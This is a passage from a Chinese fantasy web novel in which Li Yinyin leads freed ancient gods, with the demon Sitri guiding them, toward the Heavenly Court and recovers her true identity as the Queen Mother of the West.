李寅寅忍不住翻了一个白眼:“你是什么事都不干,就等着吃现成的啊?!” 西迪更委屈:“我本来就是只管男女欢愉的!我根本没想利用她干什么!我从来没有打这么久的仗,还什么好处都没有……” 简而言之,这货就是来干一炮的。 他并没有想着要睡服仙女、拉仙女反水、谋死主上,让天庭失去最强战力,从而快速结束战争,达成彻底占领天庭的最终目标。 李寅寅揉按着太阳穴:太差了,路西法和撒旦怎么会有你们这样的手下,这绩效考核的时候,你们怎么没有被处理! 西迪小小声:“我们所罗门魔神不是他们的手下。” 闪米特一神教分裂出来的这个教那个教,李寅寅只浅浅的了解听苏灵衣提过一回,只理解成了一家几个兄弟分家产,然后就把他们忘记了。 所罗门魔神从严格意义上来说,是独立于路西法和撒旦的力量。 “……” 西迪的表演,让李寅寅的脑中闪出了三个国家:德国、日本和意大利。 苏灵衣知道李寅寅喜欢战争的故事,跟她说了不少轴心国的故事。 所罗门是三个字,意大利也是三个字; 意大利人是二货,西迪也是个二货…… 好巧哦。 这么一看,那位仙女就更有出息了,干掉一个有出息有思想的仙女,不比干掉一个傻子有趣? “我很想与那位仙女认识,你能带我去找她吗?”李寅寅非常真诚。 第94章 跑路的西海海神 做为一个脑子里只有“啪啪啪”,甚至完全没有想过要打听点什么的魔神,李寅寅的这个要求对他来说也太难了,他连人家的名字都没问。 “见面总能认出来吧。”李寅寅完全不觉得这是问题。 “那也得能出去啊……”西迪弱弱的说,他试探地问道:“你能带我出去吗?” “能啊,怎么不能!”李寅寅随口一答。 在她身边的古神们下意识地全抬起头望着她。 对人世间的热闹、清新空气和丰富植被有需求的古神们,早已厌倦了这个只有黑暗的天空、硫磺味的地火,以及尸体处理专精的阿修罗花的世界。 曾经有一位在混沌之中出生的古神不信邪,不认为王母碑能制得住他,进来第一天就冲出巨门。 跨出王母碑界外的一瞬间,他的巨大身躯便被瞬间消失,身体被完全分解成最细微的单位,在空气中飘荡,由电子驱动的意识也随之彻底消失。 神明们走出巨门的梦想始终都在,只是被王母碑的力量无情压制住了。 “能把我也带出去吗?”诞生于海浪之中的西海海神弇兹满怀期望。 李寅寅十分意外:“你怎么也在这???” 李寅寅认识弇兹,她在西方的天空巡视时,看见地面上出现了海水,并在西方的海水里出现了一个海神。 只是昆仑一带的神明太多,让这个西方的海洋之主相当没有面子,大概类似于在县城里,当个正处级干部,就已经一县之长,真正的顶流,风光无限,但是到了北京,处级干部算什么。 弇兹便整天无所事事,不想跟神仙们结交,也不想干点什么,她什么都不管,任由山神们抢地盘。 在地质上显示的结果就是群山隆起,曾经的古海洋被山围住,面积大幅缩小,说它是海,实在牵强,眼看着与东海南海北海的差距已经大到无法弥补,弇兹更加不想管了。 最后被西王母以“在天空飞行时,需要一面镜子照一照自己仪态”的理由,划到了自己的地盘里。 弇兹不争不抢,还觉得自己终于卸下责任,可以出去享受生活了。 此时的世界已经开始由母系社会转向父系,弇兹嫁给了燧人氏的男性首领之后,她所有的功绩都算在燧人氏的头上。 许多年后,与一代海神弇兹唯一相关的信息就是她嫁给了燧人氏。 而被自家海神放弃的西海,在北魏时,改了个名字叫青海湖,在西王母的庇佑下,一位进藏和亲的公主完成了重大外交使命,达成“中国使节一人屠一国”的前置任务,建起了西北核武器研制基地,还出产了一首著名情歌:“在那遥远的地方……” 李寅寅以为弇兹在嫁进燧人氏之后,无人供奉,她失去神力,寿命与人类一样,过着跟人类一样的日子,活个几十一百年,就身死,入轮回也好,就此消失也罢,反正做为海神的记忆就不会存在了。 谁知道她会被关在流放之地。 李寅寅不问还好,这一问,弇兹眼泪“唰”地就流了一脸:“没想到他们那么心狠……” 其实人类在很久以前就有了“家天下”的私人想法,毕竟一片林子再大,也顶不住人口的膨胀的速度,把资源多多的往自己手里划拉,那才是最底层的生存需求。 燧人氏就这么赶上了一回小冰河期,食物急速减少,部落之间的战争越发残酷,以前是意思意思,试探试探,没吃没喝的时候,那真的是以死相搏,敌人本身也是食物的一种。 善于学习的智人早早的认识到了结盟的必要性。 燧人氏部落要活下去,便决定与同样强大的华胥氏结亲。 本来那个时候压根没有婚姻制度,一女N男,一男N女,随便玩,生出来的孩子都不知道亲爹是谁。 但是以政治结盟为目的的婚姻不可能这么随便,华胥氏也不能容忍燧人氏在之前就有了妻子,而且还是从西边来的女人。 西边!那是神明聚居之地! 弇兹莫不是神明派来监视人间的奸细? 华胥氏为了女儿地位的稳固,以及确保燧人氏不是神明在人间的奸细,要求燧人氏杀死弇兹,以表决心。 弇兹已经为燧人氏生下了一个女儿一个儿子,她身体不适应人间,在生第一个孩子时,几乎死去。 生第二个孩子时,她已经意识到了危险,但是,她认为有儿有女才是有福之家,为了给心爱的男人留个念想,她拼死又生了一个。 如今,华胥氏的要求递了过来,燧人氏甚至没有想着要避她。 她本以为这说明燧人氏对她十分尊重和信任,一定会对自己有些不舍,一定会想办法帮自己活命。 没想到,燧人氏对她说:“你放心的死吧,我会照顾好我们的孩子。” 神态语气里就没有一丝不舍和纠结,就像只是做一个普通的许愿保证。 弇兹虽然素日以夫为天,不过到生死攸关的时候,恋爱脑瞬间不药而愈了。 她不愿意赴死,连夜逃到了泰山,当时这里还是由常年在昆仑山的西王母照管,由于没有任何标识和人阻拦,弇兹误闯入只能进不能出的流放之地,从此就再也没有出去。 把自己的过去说完,弇兹问道:“燧人氏和华胥氏后来如何了?” 李寅寅知道她想听渣男和小三身败名裂的痛快复仇故事。 可惜,世间不如意之事十之有九。 “华胥氏在嫁入燧人氏之前就已经有了身孕,对外宣传是踩了雷神的脚印而生,生下了一男一女。这对亲兄妹结婚生了一个儿子叫少典,少典与女登生了一个儿子,名字不详,后世叫炎帝。又与有蟜氏的女儿生了一个儿子公孙轩辕,后世叫黄帝。现在这片土地上的人都自认是他俩的后人,叫炎黄子孙。” 弇兹还沉浸在仇人后代过得这么开心的愤怒中。 专司人间生育的云霄在琢磨人物关系:“亲兄弟结婚,还生下了孩子???谁生的?还是都生?从哪生的?怎么生的?” 李寅寅笑道:“别乱猜,他们各娶各的,黄帝娶了四个,炎帝娶了一个。弇兹,你也别难过了,燧人氏都消失那么多年了,还不如你长长久久的活到现在。” 弇兹轻声低叹:“活着有什么用,被困在这里,哪里都去不了。” “你们要出去,也是能出去的……” 周围古神的眼睛都亮了:“此话当真?” “真的啊,不过,你们不在的时候,人间与天界达成了许多规矩,还安排了监察者,你们要是违反了规矩,会被天道处罚。” 对于“天道”,人格神尚有一些畏惧。 自然神则是个个都满不在乎的样子,好像在脸上写着“我怕天道?”“我不就是天道?”“哈?我倒要看看能怎么罚我?” 李寅寅耐心解释:“现在外面的环境跟你们那个时候不一样了,那会儿到处都是荒野,想杀人就杀人,杀完人都不用埋,随地乱扔就行。 现在要是还这样,会造成恐慌。 人类一恐慌,就会求神拜佛……” “天道”是宇宙自然规则,而自然神正是从宇宙自然中诞生的,对于她们来说,她们就是天道,根本不怕什么“天道”,就像上古雷神,她就是从闪电之中诞生的,天谴云打出的电流对她来说,就像一片大海遇到了一滴水,说她会怕天谴云,真是开玩笑。 但是,自然神们知道人类的信仰力量是得罪不起的。 人的身体很弱小,精神力却很强大。 因为将他们从神位上赶下去的后世人格神们,就是由人类的群体信念里产生,他们看起来很废,但是怎么都打不死,最后还将大多数自然神的神格都夺走,都说人类最怕死亡,可是连掌管死亡的泰山府君都被换了。 有一个姓钟的人类,因为长得很丑,所以文才出众却无法当上官员,一怒之下,他在石柱上撞死了。 他在生前并没有什么特殊贡献,只因为成千上万的人类对他的遭遇抱以同情,他居然就可以当上掌管生死轮回的冥府判官。 这在自然神看来简直是匪夷所思……自然的力量都是被规定死的,生下来是什么,就是什么,永远不可能跃过这个阶级。 可是,在人类社会,跨越和颠覆阶级的事情,就是发生了,而且发生不止一次。 “我保证出去以后不会对人类有任何伤害!”弇兹大声保证。 她确实可以保证,因为她已经法力全失。 虽然弇兹的力量之源青海湖还在,但是…… 在神界层面,青海湖属于西王母,她无法隔空从青海湖里汲取任何力量。 在人界层面,青海湖属于青海湖景区保护利用管理局,淡季门票五十,旺季九十,她一个没有法力的神,无法与扛着国徽的部门相抗衡,她进门也得买门票。 李寅寅觉得带她出去也不是不行,她好歹有手艺。 西海海神本无名姓,“弇兹”是见过她出色的结绳与纺织技巧的人类给她取的。 弇,古老的织布设备。 兹,“兹”是“茲”的异体字;而“茲”是与“丝”同源的分化字。 西陵氏正是在弇兹的氏族里见过她以树皮搓的绳,用麻织的布,才会触发灵感,用在桑树上小虫吐的丝做出更轻柔更舒服的布。 由0到1的难度,不于从1发展成无数个9,现代的纺织工业看起来已经十分完备发达,但是人类永远不会满足于此。 有防雨的,还想要防雨加透气的,想要轻薄的,还要求它结实……总之,要求多呢,她想要在纺织业或者服装行业发展,都没有问题。 其他自然神……李寅寅是真的不敢带她们出去,比如羲和,万一天上的太阳看见她,就像第一天上幼儿园盼着家长来接的小孩,一路高呼着“妈妈,妈妈”就向地球撞过来……这还得了,地球都要被烤糊了。 就算没有高危家属的神明,她们出去之后也是个问题。 “你们的神格已经被顶替,出去之后,你们也是要吃东西用来维持生命的,你们能干点什么来换取食物?” “还需要干点什么?地上捡点果子不就行了?” “河里总有鱼吧。” “林子里有兽可以吃。” 李寅寅又艰难地给她们科普了财产私有制、动物保护法,以及现在人类对动物的各种态度,基本上,除了随便打杀老鼠、蟑螂、蚊子、苍蝇之类的最安全。 总之,长得可爱一点的动物,都不要招惹。 刑天大概是被“长得可爱”刺痛了,他不服,反正他没有脑子,不需要高情商对话,当即指着弇兹:“她长成这样,能出去吗!人类不会害怕吗!” 弇兹确实不好看,燧人氏娶她,是看中她的内在,就如同黄帝娶嫫母,齐宣王娶无盐女钟离春。 刑天继续大叫:“连男人都因为长得丑自杀了,她能活?你能改变她的外貌吗?” “不能,她的身体又不能离开这,跨过石碑就没了。” 刚才李寅寅说能带她们出去的时候,古神们充满期待,结果又说身体不能离开,她们的眼神瞬间黯淡:“可是,你刚才说……” “我没说把她的身体一起带出去啊,我可以只带她的意识。” 意识是电子,本来就比原子还小,王母碑的力量不会再对电子进行拆分。 只要能再看到外面的世界,这身皮囊算什么!!! 古神们纷纷请求李寅寅带她们的意识出去。 李寅寅断然拒绝:“……我最多找到一两个刚刚死去的年轻身体,你们这么多,我可没办法。” 刑天对刚才李寅寅说的那句“可爱的小动物有特权”非常有兴趣,迫切想要感受一下特权:“我当动物也可以,就是你说的,别人碰我一根指头,都要被骂的那种。” “哦……你要当宠物啊?”李寅寅对刑天的印象,一直是“刑天舞干戚,猛志固常在”,生死看淡,不服就干。 此时对他提出的要求有点不能接受。 不过,转念一想,可可西里的狼都会打滚卖萌了,刑天也没什么不能改变的。 失去了法力和神格的神明意识,出去之后也干不出什么有害人类社会的事情,李寅寅便答应了。 愿意与李寅寅一同离开的神明共有三百多个,包括西迪。 从此天上再掉下来什么东西,都由这里的魔兽负责,要么赢了吃肉,要么输了身死,与神明们再也没有关系。 李寅寅对他们只有一个要求:“先与我一同去天庭。” 从华夏大地无法进入天庭,但是,可以从所罗门魔神那里借道,想必他们不会反对的。 巨门之外,苏灵衣忽然站起身。 碧霞元君也收起手中的书:“别急,还有一会儿,你把脸擦擦,眼睛都红了,她看见会心疼的。” 苏灵衣点点头,伸出手,却不是把头发梳理整齐,而是弄得更加凌乱,还故意揉眼睛,把眼睛揉得更红。 一生讲究整洁、体面、端庄的碧霞元君不知道他想干什么,也不想打听别人私事,她便只顾埋头收拾自己的东西和衣裙,苏灵衣搞成什么样她不管,她可不能让人看到她的裙摆有皱褶、玉佩穗子缠绕在一起,发型不够紧…… 等一切收拾妥当,巨门便已经完全开启,李寅寅的身影从黑暗之中一步步的走出来。 她第一眼看到的,就是苏灵衣翘首以盼的身影,等到近前,她才发现一向打扮体面的苏灵衣竟然眼睛通红,头发凌乱,颇有一种憔悴病美人的气质。 李寅寅心生怜爱,忍不住伸手将苏灵衣搂住:“你怎么变成这样啦,没有休息好吗?” “你进去以后,我日夜担忧,一步都不敢离开,生怕你需要帮忙,而我却不在。” 言下之意就是:他不是没有休息好,是根本没有休息。 一直坚强的人,忽然变得这样,李寅寅一下子就理解了那些女人是怎么突然之间由怜生爱,也理解了那些男人是怎么看着破碎感十足的女人,身体的某个部分就硬了。 苏灵衣这模样,确实让李寅寅有点想对他做一些晋江不允许的事情。 不过现在不是时候,旁边还有碧霞元君在,李寅寅只能伸手揉了揉他的头发:“我要去天庭处理一点事,你在下面等我。” “天庭?不是路断了吗?” “我打算从所罗门王的地盘绕道上去。”李寅寅笑道,“西迪你认识吗?所罗门七十二魔神之一,他愿意带路。” “他?”苏灵衣当然知道这号人物,“他不是管男欢女爱的吗?” “哎,你不要歧视他嘛,我相信就算他的主营业务不是导航,也不至于连自己家都不认识。” 苏灵衣想了想,点点头:“嗯……你打算带多少人去?白虎七宿没有力量,也许,可以借青龙七宿,还有……去找米迦勒借一些力天使……” “啊???”李寅寅一头问号:“现在天庭的力量与西方地狱没有太大的差别,只是缺一个像我这样有丰富战斗经验的领导者,我上去调整一下战略,肯定就能结束战争,要那么多人干什么,再说,找米迦勒借算什么,不小心,我就成唐肃宗啦,借回纥兵打回长安,结果被反噬,放心,我不会有事的。” “会!”苏灵衣急了,语气都强硬无比。 “怎么?看不起我?”李寅寅笑道。 苏灵衣急得顾不得有没有人在看,抓着李寅寅的手对她说:“你不能去,天庭就是害你变成现在样子的罪魁祸首!是他们把你和白虎星君的神格对换,现在白虎星君以你的身份在天上对抗西方地狱,如果你上去了,他们会杀你灭口的。” “你怎么知道?” “我……”苏灵衣闭上眼睛,不得不说出真话:“其实,我是一直被你,西王母养着的灵宠,西方世界不是第一次想要进攻华夏,路西法第一次来时,是人类世界的明朝,那时,他的目标是昆仑山。他与撒旦有数以百万计的教众,而你……整个华夏的西王母庙屈指可数,信仰的力量差距太大,你输给了路西法。” “……他大爷的!”李寅寅听到自己输了,忍不住骂了一句脏话。 苏灵衣继续说:“你在昆仑静养,天庭却派白虎星君下来,要你交出最后一点神权,并且离开昆仑。你不愿意,她强行把你的神格抽出,并且想毁了你的肉身。 我赶回到昆仑,一时着急,随手抓了一个神格,带着你的身体逃走,但是路上被人追上,我掉进了雅鲁藏布江,醒来的时候,你已经不见了,变成现在这样。” 随手……就抓错了…… 神格会改变神的气息和外貌,也难怪就连苏灵衣都没有第一时间认出李寅寅的真实身份。 “如果你现在上去,天庭的人,一定会先杀了你!” 李寅寅嘲讽一笑:“攘外必先安内是吧,嗯,懂了,难怪把白虎七宿都找齐了,他们的力量还是没有恢复,原来我根本就不是他们的主君。” 苏灵衣急切地点头:“是,所以,你千万不要去啊……会死的。” “那倒也未必。”李寅寅微笑,一手搂着苏灵衣的腰,对碧霞元君一笑:“我有点个人恩怨要处理,先走一步。” 碧霞元君欠身行礼:“恭送西灵王母。” 第95章 白虎星君 店里的人不多,只有五个客人。 其中一个在休息区逗猫玩,另外四个在接受一对一的服务。 薛姗对一只小三花猫的主人说:“它不喜欢你家现在用的猫粮,说有怪味。” “怎么会有怪味,我可是买的最贵的猫粮,直接托人从厂里拿货。”主人心里升起了对薛姗的不信任,这家宠物店就卖猫粮,肯定是想趁机卖货! 薛姗转头跟三花说了几句什么,小三花“咪咪”叫了几声,伸出爪子挥舞两下,脸上露出嫌弃的神情。 薛姗继续说:“是不是放猫粮的柜子上面放了香水,或者花露水,打翻到猫粮里去了。” “没有吧……”主人仔细回想了几秒,“柜子上是空的,什么都没有放。” 现在她更不相信薛姗的话了,随便说了几句便离开。 其他房间里也在进行差不多的对话,李寅寅问道:“让人类知道你们能跟动物说话……真的没问题吗?” “这是最新流行的宠物沟通师,好多人类在做呢。”薛姗把手机给李寅寅看,上面有各位大师的报价和能干的事,看评价里,还有很多人说特别灵。 “只要了我家猫猫的照片和名字,就知道我家猫猫喜欢沙发不喜欢床,我每次从厕所出来,我家猫猫都在沙发上,沟通老师都不知道我家是什么样的,她都能说出来!。” “啊好灵好灵,算出了我家猫猫原来的家比现在大很多,现在的东西比原来的家好吃很多。” …… 李寅寅往下翻,看到一大堆说好灵的,还有一些说根本不灵。 “这跟算命有什么区别。”李寅寅想起如今在文殊院打拼事业的道士,他跟她说过其中的一些关键,就是大数据加话术。 说猫喜欢吃XX,大概率是现在网上推的比较多的品种。 说猫喜欢在沙发上,而不是在床上,因为大多数人家的厕所不在卧室里,沙发离厕所比较近,有些不矜持的猫直接蹲在厕所里看主人,矜持的猫趴在沙发上。 猫猫原来的家大——大多数宠物店的占地面积都比住家大。 现在的东西比原来的家好吃——大多数人买到喜欢的小猫之后,完全是当自己亲生的孩子养,恨不能把最好的给它,宠物店么,活着不生病就行。 现在基本上都是在网上预约宠物沟通师,先加微信,互相通过。 有哪个养宠的人不往朋友圈放大量宠物照片。 有心就能说出个一二三来,只要有几个点说中就行,后面就算有些说得不那么精确的地方,顾客自己会调理好,反正都是似是而非的话,怎么理解都行。 有了这些人类打底,薛姗她们真的能跟动物沟通就非常的合理,完全不违背人类社会的即有认知和逻辑。 “天天这么多人预约,乐乐和少芸白天要上学,只有晚上和周末才能帮帮忙。冯墨也不知道什么时候才回来!他不会要等十几二十年,再死遁跑回来吧。” 薛姗本来就对冯墨这次出去的理由非常不满,恋爱脑根本救不回来,换一个男人给她也一样。 “如果换一个正常的男人,至少能保她太太平平的把日子过下去。”李寅寅不觉得冯墨做的是完全无用功,毕竟大多数人是正常人,不会满脑子刑法行为。 “很好,加油干。”李寅寅起身,“我有点事,会离开一段时间,店就交给你了,你可以全权负责一切事务,收入支出也都归你管理和使用。” “你要去哪?”薛姗问道。 “弄清楚我是谁,从哪里来,要往哪里去。”李寅寅笑笑。 孟清华看着坐在面前的李寅寅和苏灵衣:“我不去,我有很重要的事!” 刚才李寅寅把自己要借道所罗门王的地盘回到天庭,弄清楚这段时间天庭到底发生了什么的想法告诉孟清华,并希望孟清华能跟她一起去。 却被孟清华婉拒了。 “朱雀和玄武这两个都指望不上,一个自己的魂魄都不全,另一个还休眠,估计得等到真的天翻地覆了才会醒。”李寅寅真诚地看着孟清华:“咱们也不以真的什么都不知道坐以待毙,要是你不想去,好歹把青龙七宿借给我?” “不行!”孟清华宁可借钱给李寅寅,也不愿意把人借给她。 现在他的人本来就跟他没归属感,要是被善于带兵的李寅寅借走,说不定等天庭的事结束,世上就没有青龙星君了,朱雀和玄武也不在天上,以白虎星君的一贯作风,那还不挟胜利之威,直接把四星天都并到她名下管了。 孟清华的担忧不无道理,华夏的神格从来都不是一成不变,史上发生过多次合并与分裂。 “我跟你一起去。”孟清华将书桌收拾整齐,李寅寅看见他刚才看的那几本都是招生简章,中科大、北大、交大、清华……全都是少年班。 李寅寅:“真有志气。” 孟清华抬手将总电闸和水阀关掉:“走吧,要是我没考上,都是你的错。” “没问题,要是考不上,你就来我店里打工,五险一金给你交全!哦,不对,你还未成年……哈哈,没关系,只要不给你工资,就不算用童工了……” 李寅寅并不想带白虎七宿,白虎星君跑下来杀她,显然跟她没感情,要是白虎七宿恢复了法力,那就等于多了七个对手。 李寅寅猜想他们虽然已经被自己找齐,但他们却依旧没有力量,就是因为神格与身体对应不上,星君没有回归正位。 于是,李寅寅以白虎星君的身份命令他们坚守岗位,各司其职。 同时,她将此前交给昴日鸡保管的九头罗刹王神格取了回来。 “白虎星君跟我互换神格,所以他们无法找回本身的力量,这还能理解。你这是为什么?你的人都这么能打,你的神力怎么就一点回不来。” 孟清华面无表情地看着她:“你干的。” “为什么?!!”李寅寅被他飞快甩锅的行为惊呆。 “不然你这么关心干什么,怕我恢复了找你麻烦?”孟清华那副臭小孩的脸,让李寅寅很想揍他两巴掌。 西迪是一个非常体贴的带路党,比导航还周全:“小心前面有气流”“前方光很强,请小心” 从所罗门王的地盘到东方天庭,一路上什么都没有,360度无死角的一片白,在那片无尽的空白中,李寅寅感觉到有灵体,但是却看不见、摸不着。 “这是不是有东西?”李寅寅问道。 西迪讨好地回答:“他们跟咱们在不同的维度,您法力高强才能感觉到,领主等级以下的魔神连感觉都感觉不出来。” 在没有参照物和时间的地方,走了多久都没有感觉,甚至不知道自己到底有没有往前走。 眼里所见,只有空白。 如果李寅寅不是神明,早已患上了雪盲。 “西迪。”李寅寅温柔地叫了他一声。 西迪带着谄媚的笑容转过身应道:“听您吩咐。” “如果让我发现,你正在带我们绕路,你猜猜会发生什么事?”李寅寅微笑着说。 在一片雪白的空间中,九头罗刹王神格化成的黑斧极为夺目,它现在就握在苏灵衣的手中。 只要李寅寅一声令下,黑斧就会把西迪的脑袋劈成两半。 西迪不愧是“西”字辈的,对于“识时务者为俊杰”有着深刻的认知,他立马陪着笑:“是稍稍的有那么一点绕,我也不是住在天上的,这一路上有天堂的巡逻兵,也有许多陷阱,我们什么都看不见,只能跟着先前斥侯探出的路走,只怕走陌生的地方会能危险。” 说得还挺有道理,只是李寅寅压根不信。 天下武功,唯快不破。 干坏事也是如此。 搞再多再复杂的安全措施和plan B,都不如随机做案,干一票就跑。 路线越长,越容易被发现。 七十二柱魔神及其手下,浩浩荡荡这么多,在这条路上走了一百年,居然没有被发现过一次。 要是都像这回一样走这么久,那他们不是去加入攻打天庭队伍的,是准备到的时候,两边已经打完,他们好拎包入住的。 撒旦和路西法应该都没这么大方。 “要是再到不了,我就把你的头轻轻的砍下来,一路唱着歌、踢着你的脑袋解闷。”李寅寅满脸笑容地看着西迪。 西迪马上认怂:“我这就想想办法,啊,不过那条路我不保证能顺利走通啊,经常有天堂守卫去那里的……” 他嘴上把那里描述得十分危险,什么曾有五千个斥侯为了探明那里的路,被天使军射杀,到现在都还有一大半地方没有摸清楚。 就类似于战争游戏里的“战争迷雾”设定,一定要有人走一遍,那里的地图才能打开,否则就是一团黑。 但是这里就算是走过一遍,也不会解锁地图,依旧是一片白,只能靠斥侯用人海战术把所有可能的路都趟一遍,谁死了立马就有新人补上,前赴后继,直到完成地图的绘制。 “你们的斥侯,也是英雄。”李寅寅对能够视死如归的智慧生物,一向十分敬重,哪怕是敌方阵营。 在李寅寅提出要求之后,路程果然缩短了许多,既没有遇到沟沟坎坎,也没有遇到传说中非常厉害的天堂巡逻兵。 前方,就已经是东方天庭,灵兽瑞禽在碧草旁走动,在清溪旁驻足。 远方一座高大殿宇,正不断向外散发着隐隐金光与瑞气。 “灵霄宝殿。”李寅寅轻声自语。 西迪忽然停下脚步:“我……我不能再往前了,会死的……我没有头盔和护甲……” “要头盔护甲有什么用,还不是从天庭掉到流放之地去了。”李寅寅不理解他对那种无用工具的依赖。 西迪哭丧着脸:“我已经把你们带到这里了,求你们放了我吧……那个女仙的容貌我已经画下来了,你们照着图照,一定能照到她。我不没有干过坏事……我只是想让人谈恋爱而已,我有什么错!求求你们放了我吧!” 李寅寅本来对西迪也没有那么讨厌,非要他死不可,刚想把他放走,忽然,李寅寅想起一件事:“中国的男女感情你能管吗?” “能!”西迪赶紧回答。 李寅寅追问:“中国司掌爱情的是红娘,司掌婚姻的是月老。西方司掌爱情的是丘比特和维纳斯,司堂婚姻的是天后赫拉……月老管不了西方,赫拉管不了东方,你敢说你能管?” 西迪垮着一张脸:“瞧您说的,他们那是天赐神格,禁止跨区展业。 我们……嗨,我们都魔神了,无法无天惯了,还管他什么跨区不跨区的,反正又没有行业协会抽纸…… 再说,东方的魔族也没有管爱情婚姻的啊,您放心,我绝对能悄悄地给您把事给办成了。 您要我办谁?!” “有一个叫唐嘉的女人,身边跟了一条黄黑色的德国牧羊犬,叫冯墨,你把她的脑子里多余的恋爱想法给去掉,跟普通人一样就行了。” “哦……”西迪应了一声,他想了想,指指苏灵衣:“跟他一样标准可以吗?” 李寅寅努力摇头:“不不不不不不!!!” 很难说苏灵衣的恋爱脑跟唐嘉的相比,哪个更严重,说不定苏灵衣的更重一点。 没有自保能力的普通人类女性要是跟苏灵衣的恋爱脑水平相似,就算遇到的是不想杀人害命的男人,只要他的道德水平不是远超一般人,恐怕唐嘉的往后余生也会落得一个一地鸡毛的结局。 苏灵衣:“……” 一向不爱解释的李寅寅只得为了苏灵衣的心情,现编一段:“我没有说他不好的意思啊,只是性别都不一样,情况不同。人类女性能怀孕,要付出的代价比男人大多了。” “噢。”西迪表示理解。 他跟女仙这么随便,也是知道女仙不会怀孕。 他也不敢招惹能生育的人类女性。 在魔族,自古以来就流传着一个诅咒,魔王的女儿都会跟人类勇者私奔,并且反手把魔王给宰了。 西迪答应了李寅寅的要求,李寅寅便放他离去了,不怕他答应了不去做。 这个空间里的妖魔鬼怪都有“言灵”的约束,正式答应下来的事情,一定会做到,否则会受到宇宙大意志的惩罚。 西迪临走的时候,看了一眼李寅寅和苏灵衣的背影。 做为司掌男欢女爱的魔神,他产生了强烈的冲动:打不过李寅寅,还不能让他烦恼一下吗! 他悄悄地在李寅寅的身上动了点手脚,接着跑得飞快。 李寅寅想再跟他嘱咐点什么,只远远地看着一个小黑点,很快就消失在白光中:“唉,这就走了?我还跟他说要是在人间钱不够了可以找薛姗……算了……他可以去当网红,饿不死。” 李寅寅等人跨过边界缓冲区,正式踏入东方天庭的地盘,向着灵霄宝殿而去。 在距离灵霄宝殿还有一段距离的天河旁,有一大片人坐在那里。 这群人都是西方人的面孔,背后皆负双翼。 只不过有一些是黑色的羽翼,另外一些是蝙蝠翼。 还有两个豪华大帐,门口各有守卫,其中一顶大帐门口的守卫是黑色羽翼,另一个帐篷的守卫是黑色蝙蝠翼。 想来这就是撒旦和路西法的驻军之地。 现在问题来了,是先干掉撒旦和路西法,还是先杀去天庭。 地狱联军往左,灵霄宝殿向右。 攘外,还是安内? 所有人都看着李寅寅,等待她的安排。 包括青龙孟清华:“你让我现在跟天庭吵架可以,应该团结谁,打谁,你才是专家。” “嗯……我们就在这里等着,探探情况,弄明白他们两边的关系再说。” 深夜,李寅寅去找孟清华,想跟他探讨一下,虽然他说让李寅寅拿主意,但是,天庭那边的心思,跟军事的关系不大,跟政斗的关系很大。 青龙是朝堂上耍心眼的冠军。 帐中无人。 李寅寅十分疑惑,这厮不会是已经投奔天庭去了吧?不会,青龙七宿还在,他不可能连自己的神格重要组成部分都不要了。 苏灵衣忽然出现在她面前,将手指挡在嘴唇上,轻声嘘了一下,做了个手势。 在天河边有座云台,那是让御马监的弼马温给天马洗澡的时候盯着的。 云台下面,有一个小小的屋子,那是让弼马温暂时歇脚的地方,可以喝喝茶,吃吃果子。 现在,本该无人的屋子里传出声音。 孟清华的少年声音清晰可辨:“你不该来。” 陌生女子的声音响起:“我已经来了。” “他们不是说会让你入主白玉京,彻底将西王母的势力收拢在手?我以为你会与他们站在一起。” 陌生女子的声音带着几分悲凉的笑意:“让我入主白玉京,不如他自己入主白玉京,他当年弑子逐妻,不就是为了一统天下权柄。” “帝俊真是太过份了……如果不是这么过份,张百忍也不会被他挤走。”孟清华轻叹。 “是啊,我们都被他骗了,以为他是站在古神这一边,没想到,他只是站在古神中的人神一边,我们这样的星宿,是他忌惮的。西王母就是个例子。” 孟清华沉默片刻:“她就在这里,要请她进来吗?” “……都这么熟了,说什么请不请的。”李寅寅笑着推门而入,看见孟清华对面坐着一个女人,肤色如麦,脸上戴着半幅虎头面具,头发长而浓密,头顶戴着玉制发饰,头发紧束在脑后,发尾用一圈一圈的动物皮毛捆扎做为装饰,如同豹子的尾巴。 两人一个长发及膝,一个短发几乎不过耳; 一个是古代神灵打扮,一个穿着T恤牛仔裤蹬着运动鞋。 容貌不同,却气质相似。 李寅寅开门见山:“我该叫你西王母,还是白虎星君?” 第96章 往事 “别着急,我们先谈谈。” 谈拢了条件,利益一致,才能决定是掀桌还是联手,联手的第一个目标又应该是谁。 监兵星君将右手食指点在自己的额头片刻,不久便抽出一缕白色雾气:“我说什么你未必会信,这是你的记忆,先还给你……烦请你把我的那部分也给我。” 李寅寅没有马上依样照做,而是将苏灵衣先叫了进来。 谁知道其中是不是有诈,给的是被篡改过的记录,除了两个当事神之外,就只有苏灵衣经手过此事。 当初苏灵衣太着急,一把将白虎星君神格和记忆抽了就跑,导致现在两人都只剩下对自己真正身份的一丁点印象。 苏灵衣见到西王母模样的女子怔愣了几秒,便站了李寅寅身边,接过双方的记忆,确定都是原装。 记忆靠近眉心后,便一下子钻了进去。 过去种种,瞬间涌入脑中。 自人类诞生之后,科技不断进步,在久远之前的华夏族便已经认识到了雷霆雨露皆是自然现象,而不是某几位大神在天上发癫。 自从有了大禹治水,自然神的地位不断衰败,人格神的力量日益兴旺。 司天之厉与五残的西王母,也成了温柔多情,对周穆王一见倾心,希望他能回来看看自己的怀春女子。 汉朝时,主要供奉的神祇还是西王母。 晋代衣冠南渡之后,佛教兴起。 到了唐代,对远古自然神的崇拜几乎消失怠尽。 再往后,则是成了玉皇大帝的妻子,留给人们的记忆是死死团团长,专业拆散小情侣。 失去了人类崇拜的西王母,不得不离开天庭,让位给本土道教的玉皇大帝。 她虽然走了,但是却住在了人类世界视为仙山的昆仑。 所谓斩草不除根,春风吹又生,卧榻之侧皆容他人酣睡。 如果有一天,她忽然展示神迹,将会分走人类对天庭的信仰,这事在人类世界经常发生,只要新的权力出现一点问题,人类就会开始怀念上一个权力,不管那个权力是脏还是臭。 所以,天庭非常希望西王母这位曾经掌握过权柄的旧神消失。 西方天堂趁着华夏国衰微之时,发动东征,在华夏大地上兴建教堂,发米发油发鸡蛋,企图把华夏人口都转化为自己的信徒。 东方天庭决定与之对抗,便派出与西王母往来颇多的白虎星君下降昆仑山,说服西王母帮助天庭赶走天使大军。 西王母答应了,并与天使军正面对抗。 无奈此时,信上帝的人遍布全球。 不仅有正经合法信徒,还有无数野生狂信徒。 虽然他们是按照自己的幻想解释经文,但是,他们到底拜的还是那一位神。 只要一个暗示,成千上万的狂信徒愿意为他们的主而死。 信仰之力,还是落在了神的头上。 